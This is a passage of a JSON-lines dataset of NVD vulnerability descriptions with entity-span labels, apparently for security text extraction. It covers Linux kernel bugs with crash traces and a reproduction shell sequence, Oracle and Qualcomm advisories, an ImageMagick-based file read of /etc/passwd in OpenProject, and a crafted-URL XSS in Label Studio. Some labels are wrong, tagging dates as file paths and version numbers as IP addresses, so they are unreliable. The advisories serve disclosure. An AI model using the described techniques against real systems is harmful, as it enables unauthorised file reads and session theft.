"VULNERABILITY: use-after-free": [[82, 96], [374, 388]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52772"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: Fix ECMP sibling count mismatch when clearing RTF_ADDRCONF\n\nsyzbot reported a kernel BUG in fib6_add_rt2node() when adding an IPv6\nroute. [0]\n\nCommit f72514b3c569 (\"ipv6: clear RA flags when adding a static\nroute\") introduced logic to clear RTF_ADDRCONF from existing routes\nwhen a static route with the same nexthop is added. However, this\ncauses a problem when the existing route has a gateway.\n\nWhen RTF_ADDRCONF is cleared from a route that has a gateway, that\nroute becomes eligible for ECMP, i.e. rt6_qualify_for_ecmp() returns\ntrue. The issue is that this route was never added to the\nfib6_siblings list.\n\nThis leads to a mismatch between the following counts:\n\n- The sibling count computed by iterating fib6_next chain, which\n  includes the newly ECMP-eligible route\n\n- The actual siblings in fib6_siblings list, which does not include\n  that route\n\nWhen a subsequent ECMP route is added, fib6_add_rt2node() hits\nBUG_ON(sibling->fib6_nsiblings != rt->fib6_nsiblings) because the\ncounts don't match.\n\nFix this by only clearing RTF_ADDRCONF when the existing route does\nnot have a gateway. Routes without a gateway cannot qualify for ECMP\nanyway (rt6_qualify_for_ecmp() requires fib_nh_gw_family), so clearing\nRTF_ADDRCONF on them is safe and matches the original intent of the\ncommit.\n\n[0]:\nkernel BUG at net/ipv6/ip6_fib.c:1217!\nOops: invalid opcode: 0000 [#1] SMP KASAN PTI\nCPU: 0 UID: 0 PID: 6010 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nRIP: 0010:fib6_add_rt2node+0x3433/0x3470 net/ipv6/ip6_fib.c:1217\n[...]\nCall Trace:\n <TASK>\n fib6_add+0x8da/0x18a0 net/ipv6/ip6_fib.c:1532\n __ip6_ins_rt net/ipv6/route.c:1351 [inline]\n ip6_route_add+0xde/0x1b0 net/ipv6/route.c:3946\n ipv6_route_ioctl+0x35c/0x480 net/ipv6/route.c:4571\n inet6_ioctl+0x219/0x280 net/ipv6/af_inet6.c:577\n sock_do_ioctl+0xdc/0x300 net/socket.c:1245\n sock_ioctl+0x576/0x790 net/socket.c:1366\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /ipv6/ip6_fib.c": [[1390, 1405], [1670, 1685], [1743, 1758]], "FILEPATH: /25/2025": [[1617, 1625]], "FILEPATH: /ipv6/route.c": [[1781, 1794], [1838, 1851], [1890, 1903]], "FILEPATH: /ipv6/af_inet6.c": [[1937, 1953]], "FILEPATH: /x86/entry/syscall_64.c": [[2180, 2203], [2246, 2269]], "FILEPATH: socket.c": [[1988, 1996], [2030, 2038]], "FILEPATH: ioctl.c": [[2058, 2065], [2097, 2104], [2148, 2155]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1551, 1557], [1558, 1564], [1580, 1586], [1608, 1614]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23200"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: reject new transactions if the fs is fully read-only\n\n[BUG]\nThere is a bug report where a heavily fuzzed fs is mounted with all\nrescue mount options, which leads to the following warnings during\nunmount:\n\n  BTRFS: Transaction aborted (error -22)\n  Modules linked in:\n  CPU: 0 UID: 0 PID: 9758 Comm: repro.out Not tainted\n  6.19.0-rc5-00002-gb71e635feefc #7 PREEMPT(full)\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n  RIP: 0010:find_free_extent_update_loop fs/btrfs/extent-tree.c:4208 [inline]\n  RIP: 0010:find_free_extent+0x52f0/0x5d20 fs/btrfs/extent-tree.c:4611\n  Call Trace:\n   <TASK>\n   btrfs_reserve_extent+0x2cd/0x790 fs/btrfs/extent-tree.c:4705\n   btrfs_alloc_tree_block+0x1e1/0x10e0 fs/btrfs/extent-tree.c:5157\n   btrfs_force_cow_block+0x578/0x2410 fs/btrfs/ctree.c:517\n   btrfs_cow_block+0x3c4/0xa80 fs/btrfs/ctree.c:708\n   btrfs_search_slot+0xcad/0x2b50 fs/btrfs/ctree.c:2130\n   btrfs_truncate_inode_items+0x45d/0x2350 fs/btrfs/inode-item.c:499\n   btrfs_evict_inode+0x923/0xe70 fs/btrfs/inode.c:5628\n   evict+0x5f4/0xae0 fs/inode.c:837\n   __dentry_kill+0x209/0x660 fs/dcache.c:670\n   finish_dput+0xc9/0x480 fs/dcache.c:879\n   shrink_dcache_for_umount+0xa0/0x170 fs/dcache.c:1661\n   generic_shutdown_super+0x67/0x2c0 fs/super.c:621\n   kill_anon_super+0x3b/0x70 fs/super.c:1289\n   btrfs_kill_super+0x41/0x50 fs/btrfs/super.c:2127\n   deactivate_locked_super+0xbc/0x130 fs/super.c:474\n   cleanup_mnt+0x425/0x4c0 fs/namespace.c:1318\n   task_work_run+0x1d4/0x260 kernel/task_work.c:233\n   exit_task_work include/linux/task_work.h:40 [inline]\n   do_exit+0x694/0x22f0 kernel/exit.c:971\n   do_group_exit+0x21c/0x2d0 kernel/exit.c:1112\n   __do_sys_exit_group kernel/exit.c:1123 [inline]\n   __se_sys_exit_group kernel/exit.c:1121 [inline]\n   __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1121\n   x64_sys_call+0x2210/0x2210 arch/x86/include/generated/asm/syscalls_64.h:232\n   do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n   do_syscall_64+0xe8/0xf80 arch/x86/entry/syscall_64.c:94\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n  RIP: 0033:0x44f639\n  Code: Unable to access opcode bytes at 0x44f60f.\n  RSP: 002b:00007ffc15c4e088 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\n  RAX: ffffffffffffffda RBX: 00000000004c32f0 RCX: 000000000044f639\n  RDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000001\n  RBP: 0000000000000001 R08: ffffffffffffffc0 R09: 0000000000000000\n  R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004c32f0\n  R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001\n   </TASK>\n\nSince rescue mount options will mark the full fs read-only, there should\nbe no new transaction triggered.\n\nBut during unmount we will evict all inodes, which can trigger a new\ntransaction, and triggers warnings on a heavily corrupted fs.\n\n[CAUSE]\nBtrfs allows new transaction even on a read-only fs, this is to allow\nlog replay happen even on read-only mounts, just like what ext4/xfs do.\n\nHowever with rescue mount options, the fs is fully read-only and cannot\nbe remounted read-write, thus in that case we should also reject any new\ntransactions.\n\n[FIX]\nIf we find the fs has rescue mount options, we should treat the fs as\nerror, so that no new transaction can be started.", "spans": {"FILEPATH: /01/2014": [[520, 528]], "FILEPATH: /btrfs/extent-tree.c": [[572, 592], [652, 672], [740, 760], [807, 827]], "FILEPATH: /btrfs/ctree.c": [[873, 887], [925, 939], [980, 994]], "FILEPATH: /btrfs/inode-item.c": [[1045, 1064]], "FILEPATH: /btrfs/inode.c": [[1104, 1118]], "FILEPATH: /btrfs/super.c": [[1432, 1446]], "FILEPATH: /linux/task_work.h": [[1629, 1647]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[1939, 1979]], "FILEPATH: /x86/entry/syscall_64.c": [[2006, 2029], [2074, 2097]], "FILEPATH: inode.c": [[1148, 1155]], "FILEPATH: dcache.c": [[1192, 1200], [1234, 1242], [1289, 1297]], "FILEPATH: super.c": [[1343, 1350], [1387, 1394], [1493, 1500]], "FILEPATH: namespace.c": [[1535, 1546]], "FILEPATH: task_work.c": [[1588, 1599]], "FILEPATH: exit.c": [[1691, 1697], [1738, 1744], [1780, 1786], [1831, 1837], [1893, 1899]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[464, 468]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23214"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: core: Fix refcount error in del_mtd_device()\n\ndel_mtd_device() will call of_node_put() to mtd_get_of_node(mtd), which\nis mtd->dev.of_node. However, memset(&mtd->dev, 0) is called before\nof_node_put(). As the result, of_node_put() won't do anything in\ndel_mtd_device(), and causes the refcount leak.\n\ndel_mtd_device()\n    memset(&mtd->dev, 0, sizeof(mtd->dev) # clear mtd->dev\n    of_node_put()\n        mtd_get_of_node(mtd) # mtd->dev is cleared, can't locate of_node\n                             # of_node_put(NULL) won't do anything\n\nFix the error by caching the pointer of the device_node.\n\nOF: ERROR: memory leak, expected refcount 1 instead of 2,\nof_node_get()/of_node_put() unbalanced - destroy cset entry: attach\noverlay node /spi/spi-sram@0\nCPU: 3 PID: 275 Comm: python3 Tainted: G N 6.1.0-rc3+ #54\n    0d8a1edddf51f172ff5226989a7565c6313b08e2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014\nCall Trace:\n<TASK>\n    dump_stack_lvl+0x67/0x83\n    kobject_get+0x155/0x160\n    of_node_get+0x1f/0x30\n    of_fwnode_get+0x43/0x70\n    fwnode_handle_get+0x54/0x80\n    fwnode_get_nth_parent+0xc9/0xe0\n    fwnode_full_name_string+0x3f/0xa0\n    device_node_string+0x30f/0x750\n    pointer+0x598/0x7a0\n    vsnprintf+0x62d/0x9b0\n    ...\n    cfs_overlay_release+0x30/0x90\n    config_item_release+0xbe/0x1a0\n    config_item_put+0x5e/0x80\n    configfs_rmdir+0x3bd/0x540\n    vfs_rmdir+0x18c/0x320\n    do_rmdir+0x198/0x330\n    __x64_sys_rmdir+0x2c/0x40\n    do_syscall_64+0x37/0x90\n    entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\n[<miquel.raynal@bootlin.com>: Light reword of the commit log]", "spans": {"DOMAIN: rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org": [[985, 1029]], "DOMAIN: bootlin.com": [[1671, 1682]], "HASH: 0d8a1edddf51f172ff5226989a7565c6313b08e2": [[884, 924]], "FILEPATH: /spi/spi-sram@0": [[806, 821]], "FILEPATH: /01/2014": [[1032, 1040]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[940, 944]], "VULNERABILITY: memory leak": [[678, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50457"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Java SE: 8u291, 11.0.11, 16.0.1; Oracle GraalVM Enterprise Edition: 20.3.2 and 21.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [153, 157], [364, 368], [559, 563], [639, 643], [696, 700], [737, 741], [842, 846], [906, 910]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [186, 192], [373, 379], [568, 574]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2388"}}
{"text": "Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Fusion Middleware (component: Analytics Web General). Supported versions that are affected are 12.2.1.3.0 and 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 3.4 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N).", "spans": {"IP_ADDRESS: 12.2.1.3": [[182, 190]], "IP_ADDRESS: 12.2.1.4": [[197, 205]], "ORGANIZATION: Oracle": [[21, 27], [80, 86], [319, 325], [485, 491], [683, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14548"}}
{"text": "OpenProject is an open-source, web-based project management software. A Local File Read (LFR) vulnerability exists in the work package PDF export functionality of OpenProject prior to version 16.6.4. By uploading a specially crafted SVG file (disguised as a PNG) as a work package attachment, an attacker can exploit the backend image processing engine (ImageMagick). When the work package is exported to PDF, the backend attempts to resize the image, triggering the ImageMagick text: coder. This allows an attacker to read arbitrary local files that the application user has permissions to access (e.g., /etc/passwd, all project configuration files, private project data, etc.). The attack requires permissions to upload attachments to a container that can be exported to PDF, such as a work package. The issue has been patched in version 16.6.4. Those who are unable to upgrade may apply the patch manually.", "spans": {"FILEPATH: /etc/passwd": [[605, 616]], "SYSTEM: ImageMagick": [[354, 365], [467, 478]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22600"}}
{"text": "Label Studio is an open source data labeling tool. Prior to version 1.16.0, Label Studio's `/projects/upload-example` endpoint allows injection of arbitrary HTML through a `GET` request with an appropriately crafted `label_config` query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution. The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL. This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions. Version 1.16.0 contains a patch for the issue.", "spans": {"FILEPATH: /projects/upload-example": [[92, 116]], "VULNERABILITY: Cross-Site Scripting": [[383, 403]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-25296"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/userptr: fix EFAULT handling\n\nCurrently we treat EFAULT from hmm_range_fault() as a non-fatal error\nwhen called from xe_vm_userptr_pin() with the idea that we want to avoid\nkilling the entire vm and chucking an error, under the assumption that\nthe user just did an unmap or something, and has no intention of\nactually touching that memory from the GPU.  At this point we have\nalready zapped the PTEs so any access should generate a page fault, and\nif the pin fails there also it will then become fatal.\n\nHowever it looks like it's possible for the userptr vma to still be on\nthe rebind list in preempt_rebind_work_func(), if we had to retry the\npin again due to something happening in the caller before we did the\nrebind step, but in the meantime needing to re-validate the userptr and\nthis time hitting the EFAULT.\n\nThis explains an internal user report of hitting:\n\n[  191.738349] WARNING: CPU: 1 PID: 157 at drivers/gpu/drm/xe/xe_res_cursor.h:158 xe_pt_stage_bind.constprop.0+0x60a/0x6b0 [xe]\n[  191.738551] Workqueue: xe-ordered-wq preempt_rebind_work_func [xe]\n[  191.738616] RIP: 0010:xe_pt_stage_bind.constprop.0+0x60a/0x6b0 [xe]\n[  191.738690] Call Trace:\n[  191.738692]  <TASK>\n[  191.738694]  ? show_regs+0x69/0x80\n[  191.738698]  ? __warn+0x93/0x1a0\n[  191.738703]  ? xe_pt_stage_bind.constprop.0+0x60a/0x6b0 [xe]\n[  191.738759]  ? report_bug+0x18f/0x1a0\n[  191.738764]  ? handle_bug+0x63/0xa0\n[  191.738767]  ? exc_invalid_op+0x19/0x70\n[  191.738770]  ? asm_exc_invalid_op+0x1b/0x20\n[  191.738777]  ? xe_pt_stage_bind.constprop.0+0x60a/0x6b0 [xe]\n[  191.738834]  ? ret_from_fork_asm+0x1a/0x30\n[  191.738849]  bind_op_prepare+0x105/0x7b0 [xe]\n[  191.738906]  ? dma_resv_reserve_fences+0x301/0x380\n[  191.738912]  xe_pt_update_ops_prepare+0x28c/0x4b0 [xe]\n[  191.738966]  ? kmemleak_alloc+0x4b/0x80\n[  191.738973]  ops_execute+0x188/0x9d0 [xe]\n[  191.739036]  xe_vm_rebind+0x4ce/0x5a0 [xe]\n[  191.739098]  ? trace_hardirqs_on+0x4d/0x60\n[  191.739112]  preempt_rebind_work_func+0x76f/0xd00 [xe]\n\nFollowed by NPD, when running some workload, since the sg was never\nactually populated but the vma is still marked for rebind when it should\nbe skipped for this special EFAULT case. This is confirmed to fix the\nuser report.\n\nv2 (MattB):\n - Move earlier.\nv3 (MattB):\n - Update the commit message to make it clear that this indeed fixes the\n   issue.\n\n(cherry picked from commit 6b93cb98910c826c2e2004942f8b060311e43618)", "spans": {"HASH: 6b93cb98910c826c2e2004942f8b060311e43618": [[2458, 2498]], "FILEPATH: /xe/userptr": [[72, 83]], "FILEPATH: /gpu/drm/xe/xe_res_cursor.h": [[994, 1021]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21880"}}
{"text": "oma is a package manager for AOSC OS. Prior to 1.25.2, oma-topics is responsible for fetching metadata for testing repositories (topics) named \"Topic Manifests\" ({mirror}/debs/manifest/topics.json) from remote repository servers, registering them as APT source entries. However, the name field in said metadata were not checked for transliteration. In this case, a malicious party may supply a malformed Topic Manifest, which may cause malicious APT source entries to be added to /etc/apt/sources.list.d/atm.list as oma-topics finishes fetching and registering metadata. This vulnerability is fixed in 1.25.2.", "spans": {"FILEPATH: /debs/manifest/topics.json": [[170, 196]], "FILEPATH: /etc/apt/sources.list.d/atm.list": [[480, 512]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39958"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: use a bounce buffer for copying skb->mark\n\nsyzbot found arm64 builds would crash in sock_recv_mark()\nwhen CONFIG_HARDENED_USERCOPY=y\n\nx86 and powerpc are not detecting the issue because\nthey define user_access_begin.\nThis will be handled in a different patch,\nbecause a check_object_size() is missing.\n\nOnly data from skb->cb[] can be copied directly to/from user space,\nas explained in commit 79a8a642bf05 (\"net: Whitelist\nthe skbuff_head_cache \"cb\" field\")\n\nsyzbot report was:\nusercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_head_cache' (offset 168, size 4)!\n------------[ cut here ]------------\nkernel BUG at mm/usercopy.c:102 !\nInternal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP\nModules linked in:\nCPU: 0 PID: 4410 Comm: syz-executor533 Not tainted 6.2.0-rc7-syzkaller-17907-g2d3827b3f393 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/21/2023\npstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : usercopy_abort+0x90/0x94 mm/usercopy.c:90\nlr : usercopy_abort+0x90/0x94 mm/usercopy.c:90\nsp : ffff80000fb9b9a0\nx29: ffff80000fb9b9b0 x28: ffff0000c6073400 x27: 0000000020001a00\nx26: 0000000000000014 x25: ffff80000cf52000 x24: fffffc0000000000\nx23: 05ffc00000000200 x22: fffffc000324bf80 x21: ffff0000c92fe1a8\nx20: 0000000000000001 x19: 0000000000000004 x18: 0000000000000000\nx17: 656a626f2042554c x16: ffff0000c6073dd0 x15: ffff80000dbd2118\nx14: ffff0000c6073400 x13: 00000000ffffffff x12: ffff0000c6073400\nx11: ff808000081bbb4c x10: 0000000000000000 x9 : 7b0572d7cc0ccf00\nx8 : 7b0572d7cc0ccf00 x7 : ffff80000bf650d4 x6 : 0000000000000000\nx5 : 0000000000000001 x4 : 0000000000000001 x3 : 0000000000000000\nx2 : ffff0001fefbff08 x1 : 0000000100000000 x0 : 000000000000006c\nCall trace:\nusercopy_abort+0x90/0x94 mm/usercopy.c:90\n__check_heap_object+0xa8/0x100 mm/slub.c:4761\ncheck_heap_object mm/usercopy.c:196 [inline]\n__check_object_size+0x208/0x6b8 mm/usercopy.c:251\ncheck_object_size include/linux/thread_info.h:199 [inline]\n__copy_to_user include/linux/uaccess.h:115 [inline]\nput_cmsg+0x408/0x464 net/core/scm.c:238\nsock_recv_mark net/socket.c:975 [inline]\n__sock_recv_cmsgs+0x1fc/0x248 net/socket.c:984\nsock_recv_cmsgs include/net/sock.h:2728 [inline]\npacket_recvmsg+0x2d8/0x678 net/packet/af_packet.c:3482\n____sys_recvmsg+0x110/0x3a0\n___sys_recvmsg net/socket.c:2737 [inline]\n__sys_recvmsg+0x194/0x210 net/socket.c:2767\n__do_sys_recvmsg net/socket.c:2777 [inline]\n__se_sys_recvmsg net/socket.c:2774 [inline]\n__arm64_sys_recvmsg+0x2c/0x3c net/socket.c:2774\n__invoke_syscall arch/arm64/kernel/syscall.c:38 [inline]\ninvoke_syscall+0x64/0x178 arch/arm64/kernel/syscall.c:52\nel0_svc_common+0xbc/0x180 arch/arm64/kernel/syscall.c:142\ndo_el0_svc+0x48/0x110 arch/arm64/kernel/syscall.c:193\nel0_svc+0x58/0x14c arch/arm64/kernel/entry-common.c:637\nel0t_64_sync_handler+0x84/0xf0 arch/arm64/kernel/entry-common.c:655\nel0t_64_sync+0x190/0x194 arch/arm64/kernel/entry.S:591\nCode: 91388800 aa0903e1 f90003e8 94e6d752 (d4210000)", "spans": {"FILEPATH: /21/2023": [[989, 997]], "FILEPATH: /linux/thread_info.h": [[2058, 2078]], "FILEPATH: /linux/uaccess.h": [[2114, 2130]], "FILEPATH: /core/scm.c": [[2168, 2179]], "FILEPATH: /net/sock.h": [[2295, 2306]], "FILEPATH: /packet/af_packet.c": [[2351, 2370]], "FILEPATH: /arm64/kernel/syscall.c": [[2647, 2670], [2713, 2736], [2770, 2793], [2824, 2847]], "FILEPATH: /arm64/kernel/entry-common.c": [[2875, 2903], [2943, 2971]], "FILEPATH: /arm64/kernel/entry.S": [[3005, 3026]], "FILEPATH: usercopy.c": [[716, 726], [1095, 1105], [1142, 1152], [1878, 1888], [1959, 1969], [2018, 2028]], "FILEPATH: slub.c": [[1926, 1932]], "FILEPATH: socket.c": [[2203, 2211], [2259, 2267], [2423, 2431], [2476, 2484], [2511, 2519], [2555, 2563], [2612, 2620]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[923, 929], [930, 936], [952, 958], [980, 986]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52701"}}
{"text": "u'Integer overflow to buffer overflow occurs while playback of ASF clip having unexpected number of codec entries' in Snapdragon Auto, Snapdragon Compute, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables in APQ8009, APQ8009W, APQ8017, APQ8037, APQ8053, APQ8064AU, APQ8096, APQ8096AU, APQ8096SG, APQ8098, MDM9206, MDM9650, MSM8905, MSM8909, MSM8909W, MSM8917, MSM8920, MSM8937, MSM8940, MSM8953, MSM8996, MSM8996AU, MSM8996SG, MSM8998, QCM4290, QCM6125, QCS405, QCS410, QCS4290, QCS603, QCS605, QCS610, QCS6125, QM215, SA6145P, SA6150P, SA6155, SA6155P, SA8150P, SA8155, SA8155P, SA8195P, SDA429W, SDA640, SDA660, SDA670, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM455, SDM630, SDM632, SDM636, SDM640, SDM660, SDM670, SDM710, SDM830, SDM845, SDW2500, SDX20, SDX20M, SDX50M, SDX55, SDX55M, SM4125, SM4250, SM4250P, SM6115, SM6115P, SM6125, SM6150, SM6150P, SM6250, SM6250P, SM6350, SM7125, SM7150, SM7150P, SM7225, SM7250, SM7250P, SM8150, SM8150P, SM8250, SXR1120, SXR1130, SXR2130, SXR2130P, WCD9330", "spans": {"VULNERABILITY: Integer overflow": [[2, 18]], "VULNERABILITY: buffer overflow": [[22, 37]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11196"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: renesas_usbhs: Fix synchronous external abort on unbind\n\nA synchronous external abort occurs on the Renesas RZ/G3S SoC if unbind is\nexecuted after the configuration sequence described above:\n\nmodprobe usb_f_ecm\nmodprobe libcomposite\nmodprobe configfs\ncd /sys/kernel/config/usb_gadget\nmkdir -p g1\ncd g1\necho \"0x1d6b\" > idVendor\necho \"0x0104\" > idProduct\nmkdir -p strings/0x409\necho \"0123456789\" > strings/0x409/serialnumber\necho \"Renesas.\" > strings/0x409/manufacturer\necho \"Ethernet Gadget\" > strings/0x409/product\nmkdir -p functions/ecm.usb0\nmkdir -p configs/c.1\nmkdir -p configs/c.1/strings/0x409\necho \"ECM\" > configs/c.1/strings/0x409/configuration\n\nif [ ! -L configs/c.1/ecm.usb0 ]; then\n        ln -s functions/ecm.usb0 configs/c.1\nfi\n\necho 11e20000.usb > UDC\necho 11e20000.usb > /sys/bus/platform/drivers/renesas_usbhs/unbind\n\nThe displayed trace is as follows:\n\n Internal error: synchronous external abort: 0000000096000010 [#1] SMP\n CPU: 0 UID: 0 PID: 188 Comm: sh Tainted: G M 6.17.0-rc7-next-20250922-00010-g41050493b2bd #55 PREEMPT\n Tainted: [M]=MACHINE_CHECK\n Hardware name: Renesas SMARC EVK version 2 based on r9a08g045s33 (DT)\n pstate: 604000c5 (nZCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : usbhs_sys_function_pullup+0x10/0x40 [renesas_usbhs]\n lr : usbhsg_update_pullup+0x3c/0x68 [renesas_usbhs]\n sp : ffff8000838b3920\n x29: ffff8000838b3920 x28: ffff00000d585780 x27: 0000000000000000\n x26: 0000000000000000 x25: 0000000000000000 x24: ffff00000c3e3810\n x23: ffff00000d5e5c80 x22: ffff00000d5e5d40 x21: 0000000000000000\n x20: 0000000000000000 x19: ffff00000d5e5c80 x18: 0000000000000020\n x17: 2e30303230316531 x16: 312d7968703a7968 x15: 3d454d414e5f4344\n x14: 000000000000002c x13: 0000000000000000 x12: 0000000000000000\n x11: ffff00000f358f38 x10: ffff00000f358db0 x9 : ffff00000b41f418\n x8 : 0101010101010101 x7 : 7f7f7f7f7f7f7f7f x6 : fefefeff6364626d\n x5 : 8080808000000000 x4 : 000000004b5ccb9d x3 : 0000000000000000\n x2 : 0000000000000000 x1 : ffff800083790000 x0 : ffff00000d5e5c80\n Call trace:\n usbhs_sys_function_pullup+0x10/0x40 [renesas_usbhs] (P)\n usbhsg_pullup+0x4c/0x7c [renesas_usbhs]\n usb_gadget_disconnect_locked+0x48/0xd4\n gadget_unbind_driver+0x44/0x114\n device_remove+0x4c/0x80\n device_release_driver_internal+0x1c8/0x224\n device_release_driver+0x18/0x24\n bus_remove_device+0xcc/0x10c\n device_del+0x14c/0x404\n usb_del_gadget+0x88/0xc0\n usb_del_gadget_udc+0x18/0x30\n usbhs_mod_gadget_remove+0x24/0x44 [renesas_usbhs]\n usbhs_mod_remove+0x20/0x30 [renesas_usbhs]\n usbhs_remove+0x98/0xdc [renesas_usbhs]\n platform_remove+0x20/0x30\n device_remove+0x4c/0x80\n device_release_driver_internal+0x1c8/0x224\n device_driver_detach+0x18/0x24\n unbind_store+0xb4/0xb8\n drv_attr_store+0x24/0x38\n sysfs_kf_write+0x7c/0x94\n kernfs_fop_write_iter+0x128/0x1b8\n vfs_write+0x2ac/0x350\n ksys_write+0x68/0xfc\n __arm64_sys_write+0x1c/0x28\n invoke_syscall+0x48/0x110\n el0_svc_common.constprop.0+0xc0/0xe0\n do_el0_svc+0x1c/0x28\n el0_svc+0x34/0xf0\n el0t_64_sync_handler+0xa0/0xe4\n el0t_64_sync+0x198/0x19c\n Code: 7100003f 1a9f07e1 531c6c22 f9400001 (79400021)\n ---[ end trace 0000000000000000 ]---\n note: sh[188] exited with irqs disabled\n note: sh[188] exited with preempt_count 1\n\nThe issue occurs because usbhs_sys_function_pullup(), which accesses the IP\nregisters, is executed after the USBHS clocks have been disabled. The\nproblem is reproducible on the Renesas RZ/G3S SoC starting with the\naddition of module stop in the clock enable/disable APIs. With module stop\nfunctionality enabled, a bus error is expected if a master accesses a\nmodule whose clock has been stopped and module stop activated.\n\nDisable the IP clocks at the end of remove.", "spans": {"FILEPATH: /sys/kernel/config/usb_gadget": [[328, 357]], "FILEPATH: /0x409/serialnumber": [[477, 496]], "FILEPATH: /0x409/manufacturer": [[522, 541]], "FILEPATH: /0x409/product": [[574, 588]], "FILEPATH: /c.1/strings/0x409": [[654, 672]], "FILEPATH: /c.1/strings/0x409/configuration": [[693, 725]], "FILEPATH: /c.1/ecm.usb0": [[744, 757]], "FILEPATH: /sys/bus/platform/drivers/renesas_usbhs/unbind": [[859, 905]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68327"}}
